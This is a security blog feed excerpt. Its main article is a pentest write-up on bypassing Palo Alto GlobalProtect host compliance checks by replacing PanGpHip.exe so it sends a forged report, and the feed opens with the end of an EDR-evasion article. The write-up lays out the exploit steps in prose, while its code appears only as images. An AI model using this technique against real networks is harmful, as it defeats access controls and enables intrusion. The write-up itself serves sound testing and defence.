<div>This conclusion is exactly the same as the one from my LeHack 2023 talk: <strong>instead of spending months trying to find a way to bypass EDR and starting from scratch, it can be interesting to just looking up and see if some built-in behavior could not be easily hijacked to serve our purpose</strong>.</div>
<div> </div>
<div><strong>Security products cannot monitor all WIN32API</strong> and while behavioral analysis is kicking in, it is still hard for them to <strong>determine if a behavior is legitimate or malicious</strong> when using non-standard patterns.</div>
<div>So, <span style="text-decoration: underline;"><strong>be creative</strong></span>, Microsoft has created hundreds of functions, you will surely find one that will satisfy your needs!</div>
<div> </div>
<div>It seems that I am not the only one thinking like this, as a <a href="https://www.deepinstinct.com/blog/nofilter-abusing-windows-filtering-platform-for-privilege-escalation">Defcon31 talk</a> about token duplication presented by Ron BEN YIZHAK also <strong>hijacks a non-standard WIN32API</strong> to bypass standard detection by avoiding the classic WIN32API direct call.</div>
<div> </div>
<div> </div>
<div style="text-align: right;"><em>Yoann DEQUEKER</em></div>
<div> </div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/">Process Injection using NtSetInformationProcess</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypassing host security checks on a modern VPN solution</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Tue, 10 Jan 2023 13:53:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[process hacking]]></category>
		<category><![CDATA[vpn]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=19355</guid>

					<description><![CDATA[<p>In our last Assume Breach engagement, the client gave us a domain-joined computer and a VPN access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: left;">In our last <strong>Assume Breach</strong> engagement, the client gave us a domain-joined computer and a <strong>VPN</strong> access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific protocols but nothing more. This behavior can be challenging as the domain workstation is protected by several security solutions and using offensive tools from it could be risky. Therefore, it was mandatory to remove this restriction to be able to ease the assessment completion.</p>
<p style="text-align: left;">A great part of<strong> pentester</strong>’s job is to bypass the restrictions set up by security tools, this VPN being the perfect exercise for a pentester.</p>
<p style="text-align: left;">This article is not meant to show a fancy <strong>0day</strong>, but to expose the thinking pentesters use when dealing with a black box security tool.</p>
<p style="text-align: left;"><strong>The exploit path presented in this article takes for granted that:</strong></p>
<ul style="text-align: left;">
<li><span style="color: initial;">The attacker already has access to a valid set of user&#8217;s credentials</span></li>
<li><span style="color: initial;">The attacker has managed to get a limited access to a workstation for a limited period of time</span></li>
</ul>
<p style="text-align: left;">Depending on the VPN configuration, this last prerequisite can be optional.</p>
<p style="text-align: left;"> </p>
<h2>Discovering the environment</h2>
<p style="text-align: left;">With access to the computer, the first thing we tried was to extract the VPN client binary and use it on the attack computer.</p>
<p style="text-align: left;">The VPN tested was the <strong>Palo Alto GlobalProtect</strong> solution, and the VPN client can be easily downloaded on Internet. Once the client is installed on the computer, a connection is initialized. The VPN initialized a connection with the VPN portal exposed on Internet and a Microsoft authentication is triggered:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19360 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png" alt="" width="621" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png 621w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-71x36.png 71w" sizes="auto, (max-width: 621px) 100vw, 621px" /></p>
<p style="text-align: left;"><br />The domain credentials worked, and the VPN tunnel was successfully mounted. However, all connections were filtered, and it was not possible to even reach the domain controller as it had initially been hinted by the clients.</p>
<h2 style="text-align: left;"><br />Global Protect Host Information Profile</h2>
<p style="text-align: left;"><strong>Global Protect VPN</strong>, as several other business VPN, allows administrators to define a <strong>host information policy</strong>.</p>
<p style="text-align: left;">This host information policy allows the server to verify that the user computer is compliant with the company’s security policy before allowing access to the company’s internal network.</p>
<p style="text-align: left;">This type of access control can be tuned, and administrators can simply reject any non-compliant devices as well as limit the protocols allowed for the device. For example, a computer that does not comply with the company’s security policy could be restricted to only access a web application exposed in the internal network but not access any other internal resource.</p>
<p style="text-align: left;">The VPN client then collects host information once the user has successfully signed in on the VPN gateway and an update is sent on a regular basis to ensure the computer is still compliant with the company’s security policy.</p>
<p> </p>
<h3 style="text-align: left;">Information collected</h3>
<p style="text-align: left;">Global Protect can collect the following information:</p>
<ul>
<li style="text-align: left;"><strong>General:</strong> Information about the host itself such as hostname, logon domain, OS etc&#8230;</li>
<li style="text-align: left;"><strong>Patch Management:</strong> Information about any patch management software installed on the machine</li>
<li style="text-align: left;"><strong>Firewall:</strong> Information about the firewall software deployed and its status</li>
<li style="text-align: left;"><strong>Anti-malware:</strong> Information about the anti-malware/anti-spyware software deployed and its status</li>
<li style="text-align: left;"><strong>Disk backup:</strong> Information on whether disk backup software is installed and enabled</li>
<li style="text-align: left;"><strong>Disk encryption:</strong> Information on whether disk encryption software is installed as well as which disks are encrypted and what encryption method is used</li>
<li style="text-align: left;"><strong>Data loss prevention:</strong> Information on whether a DLP software is installed and enabled</li>
<li style="text-align: left;"><strong>Certificate check:</strong> Information on the certificates deployed on the computer</li>
<li style="text-align: left;"><strong>Custom checks:</strong> Information on registry keys, user-space application etc&#8230;</li>
</ul>
<p style="text-align: left;">All the information collected can be retrieved on the client GUI:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19362 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png" alt="" width="495" height="476" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png 495w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-199x191.png 199w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-41x39.png 41w" sizes="auto, (max-width: 495px) 100vw, 495px" /></p>
<p> </p>
<p style="text-align: left;">Thus, if you have access to a machine that can legitimately connect to the VPN, it is possible to retrieve a sample of an allowed host configuration.</p>
<p> </p>
<h2 style="text-align: left;">Hijack the profile</h2>
<p style="text-align: left;">The host profile (that will be <strong>named HIP report</strong> from now) is thus generated by the host and sent to the gateway.</p>
<p style="text-align: left;">The first thick client pentesting rule is: <em>If you generate it, you can tamper it</em>. Thus, instead of modifying the host configuration – which can be painful and require the knowledge of how Global Protect retrieves this information – <strong>it should be possible to tamper the HIP report</strong> sent to the VPN gateway.</p>
<p> </p>
<h3 style="text-align: left;">Go in easy with a proxy</h3>
<p style="text-align: left;">A quick and dirty way to tamper the HIP report is to <strong>intercept the requests and modify the report</strong> sent to the VPN.</p>
<p style="text-align: left;">The VPN client communicates with the VPN gateway using the HTTPS protocol. Therefore, it is only possible to intercept the traffic and modify the content sent if the VPN does not securely check the VPN gateway certificate.</p>
<p style="text-align: left;">In order to intercept the traffic, we need to:</p>
<ol>
<li style="text-align: left;">Configure Burp as a <strong>transparent proxy</strong> and configure the redirection in Burp to forward the request to the VPN gateway<br /><br /><img loading="lazy" decoding="async" class="wp-image-19414 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png" alt="" width="600" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png 1107w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-768x332.png 768w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br /><em style="color: initial;"><br /></em></li>
<li>Add the Burp certificate to the Windows certificate store</li>
<li>Specify the Burp address as a VPN gateway in GlobalProtect<br /><br /><img loading="lazy" decoding="async" class="size-full wp-image-19366 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png" alt="" width="599" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-437x139.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-71x23.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></li>
</ol>
<p>From now, when a VPN connection is performed, Burp will be able to intercept the traffic. However, with this technique,<strong> it was not possible to login</strong>:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19368 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png" alt="" width="458" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png 538w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-71x32.png 71w" sizes="auto, (max-width: 458px) 100vw, 458px" /></p>
<p>It was not possible to understand what raised this error, maybe due to some certificate pinning or other security solutions: the easy solution did not yield any positive result.</p>
<p> </p>
<h3>Understand the logic</h3>
<p>The Burp solution out of the way, it appeared mandatory to understand how the VPN works. The first thing done was to <strong>monitor the VPN processes</strong> during the connection to<strong> identify the VPN executables</strong> to target and what their role in the profile generation is.</p>
<p><strong>ProcessHacker</strong> showed several processes implied in the profile generation:</p>
<ul>
<li><em>PanGps.exe</em>: executed as Administrator</li>
<li><em>PanGpa.exe</em></li>
<li><em>PanGpHip.exe</em></li>
<li><em>PanGpHipMp.exe</em></li>
</ul>
<p>Procmon gave a lot of information and showed that the <strong>PanGpHip.exe</strong> and <strong>PanGpHipMp.exe</strong> binaries were launched by the <strong>PanGps.exe</strong> binary:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19370 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png" alt="" width="741" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png 853w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-768x156.png 768w" sizes="auto, (max-width: 741px) 100vw, 741px" /></p>
<p> </p>
<p>Finally, exploring the Global Protect installation folder showed <strong>several detailed log files</strong>, which have been really helpful during the reverse and debugging process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19372 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png" alt="" width="253" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png 226w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-173x191.png 173w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-35x39.png 35w" sizes="auto, (max-width: 253px) 100vw, 253px" /></p>
<p> </p>
<p>Additionally, during the VPN connection <strong>an XML file is created</strong> and contains the full HIP Report that has been generated during the connection process. However, the creation of this file was not reported in Procmon.</p>
<p style="text-align: left;">In order to ease the exploitation, the report generated on the domain joined machine was retrieved. <strong>Depending on the VPN configuration, part or totality of this report can be guessed but it will complexify the exploitation scenario</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Static approach</h3>
<p style="text-align: left;">The idea was to understand the purpose of each executable and how they were communicating with each other.</p>
<p> </p>
<h4 style="text-align: left;">PanGPA.exe</h4>
<p style="text-align: left;">Killing the PanGPA.exe process showed that it corresponded to the user GUI. Nothing really interesting appeared in this executable.</p>
<p> </p>
<h4 style="text-align: left;">PanGpHip</h4>
<p style="text-align: left;">The PanGpHip.exe binary was the first to be reversed as its name gave hints on its features.<br /><strong>Ghidra</strong> was used to analyze the <em>.rdata </em>section to look at the hardcoded strings. Several strings could help to understand the goal of the binary.</p>
<p style="text-align: left;">For example, the following strings shows that this executable is used to <strong>retrieve the host configuration</strong>:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19374 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png" alt="" width="343" height="341" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png 590w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-192x191.png 192w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-39x39.png 39w" sizes="auto, (max-width: 343px) 100vw, 343px" /></p>
<p> </p>
<p style="text-align: left;">Likewise, the following string shows that the process write the HIP report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19376 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png" alt="" width="634" height="89" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-437x62.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-768x108.png 768w" sizes="auto, (max-width: 634px) 100vw, 634px" /></p>
<p> </p>
<p style="text-align: left;">Looking at the references for these strings shows, they are part of a C++ object:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19378 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png" alt="" width="640" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png 740w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: left;"><br />Indeed, the <em>vftable</em> is a table containing all virtual functions from a C++ object. It can be guessed that all the functions contained in this <em>vftable</em> are used to retrieve some configuration information on the host.</p>
<p style="text-align: left;">After analyzing each virtual method, it is possible to start understanding how the object works:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19380 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png" alt="" width="497" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png 617w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-237x191.png 237w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-48x39.png 48w" sizes="auto, (max-width: 497px) 100vw, 497px" /></p>
<p> </p>
<p style="text-align: left;">From now on, it is a known fact that this binary is used to generate the HIP Report. However, the string <em>pan_gp_hrpt.xml</em>, which is the filename of the file containing the Hip Report and written on the disk is not present in the binary. Therefore, there is a <strong>high probability that the XML report it is not written on the disk by this executable</strong>.</p>
<p style="text-align: left;">The first idea was the <em>PanGpHip.exe</em> binary generates the report and forwards it to the <em>PanGPS.exe</em> executable that will write it on the disk as it is the only one executed with <strong>Administrator privileges</strong>, so with enough privileges to write in the Program Files directory.</p>
<p style="text-align: left;">The issue was to ensure that the report generated by the binary was the XML report is actually sent to the VPN gateway and is not an aggregation of binary data that could not be easily modified.</p>
<p style="text-align: left;">In order to avoid reversing several functions, a <strong>dynamic approach</strong> was preferable for this task. The binary is not statistically compiled, and several Win32 Api are used. Using <strong>ApiMonitor</strong> it is possible to spy on the Win32 API calls performed by the binary.</p>
<p style="text-align: left;">ApiMonitor was configured to<strong> intercept every call</strong> performed to the WriteFile Win32 API. At the end of the<em> PanGpHip.exe</em> execution, the full XML report was written in a file:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19382 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg" alt="" width="554" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg 630w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-202x191.jpg 202w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-41x39.jpg 41w" sizes="auto, (max-width: 554px) 100vw, 554px" /></p>
<p> </p>
<p style="text-align: left;">However, it was not possible at this moment to find the file where this content was written on. This point was set aside for a moment to progress on the reversing of the parent binary.</p>
<p> </p>
<h4 style="text-align: left;">PanGPS</h4>
<p style="text-align: left;">We saw earlier through Procmon that<em> PanGPS.exe</em> launches the <em>PanGpHip.exe</em> binary. Through Ghidra, it is possible to search how it is launched. This information is interesting because if a communication is performed among binaries, some <strong>PIPE</strong> or <strong>sockets</strong> should be used to allow the <strong>interprocess communication</strong>, with a high probability that they are created by the parent process.</p>
<p style="text-align: left;">The following code is used to run the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19384 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png" alt="" width="689" height="166" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png 785w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-768x185.png 768w" sizes="auto, (max-width: 689px) 100vw, 689px" /></p>
<p style="text-align: left;">The process creation is performed using the Win32API <em>CreateProcess</em>. The <em>StartupInfo</em> object is created with the following code:</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-19386 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png" alt="" width="620" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png 620w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-71x20.png 71w" sizes="auto, (max-width: 620px) 100vw, 620px" /></p>
<p> </p>
<p style="text-align: left;">The <em>stdin</em>, <em>stdout</em> and <em>stderr</em> file are overwritten with custom PIPE created by <em>PanGPS.exe</em> as it is shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19388 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png" alt="" width="696" height="211" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png 801w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-437x133.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-768x233.png 768w" sizes="auto, (max-width: 696px) 100vw, 696px" /></p>
<p> </p>
<p style="text-align: left;">Thus, through these PIPE objects the <em>PanGpHip.exe</em> process will be able to communicate the Hip Report generated.</p>
<p style="text-align: left;">Using API Monitor this assumption has been verified. The tool was configured to intercept the <em>CreatePipe</em>, <em>ReadFile </em>and <em>WriteFile </em>Win32 API calls. First, it was verified that the <em>PanGPS.exe</em> binary really read the HIP Report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19390 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png" alt="" width="493" height="347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png 614w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-55x39.png 55w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: left;"><br />This API call shows that the XML report is, at a moment, forwarded from <em>PanGpHip.exe</em> to <em>PanGPS.exe</em>. Looking at the parameters used in the ReadFile, the <em>PanGPS.exe</em> binary read the data from the <strong>0x5A0</strong> handle. <br />Looking at the <em>CreatePipe</em> calls, this handle represents the PIPE used as the stdout for the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-19392" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg" alt="" width="1281" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg 1281w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-437x108.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-71x18.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-768x190.jpg 768w" sizes="auto, (max-width: 1281px) 100vw, 1281px" /></p>
<p style="text-align: left;"><br />Likewise, if the <em>WriteFile</em> API call performed by the <em>PanGpHip.exe</em> process is analyzed, the handle that is used will be the one related to the stdout PIPE created by the <em>PanGPS.exe</em> process.<br />The following figure summarizes the interactions between the different components:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19394 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png" alt="" width="535" height="468" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png 708w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-45x39.png 45w" sizes="auto, (max-width: 535px) 100vw, 535px" /></p>
<p> </p>
<p style="text-align: left;">With:</p>
<ul>
<li style="text-align: left;"><strong>PanGPS:</strong> the high integrity process that communicates with the VPN gateway</li>
<li style="text-align: left;"><strong>PanGpHip:</strong> the process spawned by PanGPS that generate the compliance report</li>
<li style="text-align: left;"><strong>PanGpHipMip:</strong> the process spawned by PanGPS that check for known vulnerabilities on the different host programs</li>
</ul>
<p> </p>
<h4 style="text-align: left;">Tamper the profile</h4>
<p style="text-align: left;">The previous figure highlighted that hijacking <em>PanGpHip</em> to write a tampered compliance report on its <em>stdout</em> should be sufficient:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19418 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png" alt="" width="528" height="461" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png 593w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-219x191.png 219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-45x39.png 45w" sizes="auto, (max-width: 528px) 100vw, 528px" /></p>
<p> </p>
<p style="text-align: left;">A simple C code was written:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19416 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png" alt="" width="667" height="181" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-437x119.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-768x209.png 768w" sizes="auto, (max-width: 667px) 100vw, 667px" /></p>
<p> </p>
<p style="text-align: left;">Then the <em>PanGpHip.exe</em> file was replaced by this program and a VPN connection was attempted. However, looking at API Monitor, the <em>PanGPS.exe</em> process never retrieved the HIP Report. Actually, the thread used to launch and parse the <em>PanGpHip.exe</em> process was in an idle state (this can be seen in APIMonitor cause the calls performed by each thread were highlighted in a unique color).</p>
<p style="text-align: left;">Looking in the code of <em>PanGPS.exe</em>, the following wait condition can be seen:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19398 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png" alt="" width="646" height="130" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png 845w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-768x155.png 768w" sizes="auto, (max-width: 646px) 100vw, 646px" /></p>
<p style="text-align: left;"><br />The <em>WaitForMultipleObject</em> condition stalls the <em>PanGPS.exe</em> program as long as the child process does not raise a given event.</p>
<p style="text-align: left;">It was possible to dynamically retrieve the event definition using APIMonitor again, analyze the parameters used with <em>WaitForMultipleObject</em> and linking the ID with the related <em>CreateEvent</em> parameters. <br />Looking at the code, the binary creates a specific event using the <em>CreateEvent</em> Win32 API. APIMonitor confirmed that this event is in the list of the waited event.</p>
<p style="text-align: left;">Another C code, taking this event into account, was written:</p>
<p style="text-align: left;"><img loading="lazy" decoding="async" class=" wp-image-19400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png" alt="" width="691" height="417" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-317x191.png 317w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-768x463.png 768w" sizes="auto, (max-width: 691px) 100vw, 691px" /><br /><br />Once again, the program was compiled, and used to replace the <em>PanGpHip.exe</em> file. However, even with this modification, the <em>PanGPS</em> binary did not receive the full report.</p>
<p style="text-align: left;">Using, API Monitor, it was noted that the printf did not use the <em>WriteFile</em> Win32API at all. At first, we thought that under the hood, printf would call the <em>WriteFile</em> API as it just writes data into a PIPE but that was a wrong assumption.</p>
<p style="text-align: left;">The program is once again modified to use the <em>WriteFile</em> API:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png" alt="" width="701" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-768x488.png 768w" sizes="auto, (max-width: 701px) 100vw, 701px" /></p>
<p> </p>
<p style="text-align: left;">Even with this modification, it was not possible to retrieve the report in the <em>PanGPS.exe</em> binary. Our last option was to reverse, again, the <em>PanGpHip.exe</em> binary to understand how it writes the data in the PIPE.</p>
<p style="text-align: left;">In fact, the process does not directly write the report in the PIPE, it first writes 10 bytes that represent the size of the report, and then, the full report. This behavior is quite expected as the PanGps.exe process read the full report in one call and, thus, must know the full size of the report to be able to use the <em>ReadFile</em> Win32Api.</p>
<p style="text-align: left;">Thus, the exploit binary must:</p>
<ol>
<li style="text-align: left;">Compute the report final size</li>
<li style="text-align: left;">Format the size on a 10-byte string</li>
<li style="text-align: left;">Write this size on the communication PIPE handled by <em>stdout</em></li>
<li style="text-align: left;">Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
<li style="text-align: left;">Write the report on the communication PIPE handled by <em>stdout</em></li>
<li>Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
</ol>
<p><br />Finally, the script was modified as follows:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png" alt="" width="733" height="566" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-768x593.png 768w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p> </p>
<p>Once the VPN is launched, the modified script is executed, and the tampered profile is sent to the VPN gateway instead of the profile that would be generated by the initial <em>PanGpHip.exe</em> binary.</p>
<p>As the profile sent matched a compliant profile expected by the VPN gateway, the rogue computer was granted access to the internal network without restrictions.</p>
<p> </p>
<h2 style="text-align: left;">Conclusion</h2>
<p style="text-align: left;">VPN clients and appliances are interesting as <strong>they allow remote workers to access the internal network and emulate an in-office experience</strong>. However, they also <strong>expand the attack surface</strong> as an attacker could use them to remotely access the internal network.</p>
<p style="text-align: left;">In order to mitigate these risks, VPN companies set up some <strong>verification rules</strong> to avoid unknown devices to access the internal network. These rules often take place as <strong>compliance checks</strong> that cannot be easily tampered with.</p>
<p style="text-align: left;">However, because the compliance report is generated directly by the host, an attacker can simply <strong>hijack the part of the program that sends the report to the VPN Gateway</strong> and injects its own tampered report. Thus, this compliance checks must not be taken as a proof that the connecting computer belongs to the organization.</p>
<p style="text-align: left;">An &#8220;easy&#8221; way to prevent these kinds of attacks is to <strong>authenticate the user <span style="text-decoration: underline;">AND</span> the computer</strong> accessing to the VPN. This can be done through the use of a <strong>machine certificate verification with an asymmetric authentication process</strong>.</p>
<p style="text-align: left;">An 802.1X-like authentication protocol using certificates could be a viable solution for VPN access as this authentication mechanism authenticates the computer, giving a proof that the connecting computer really belongs to the organization.</p>
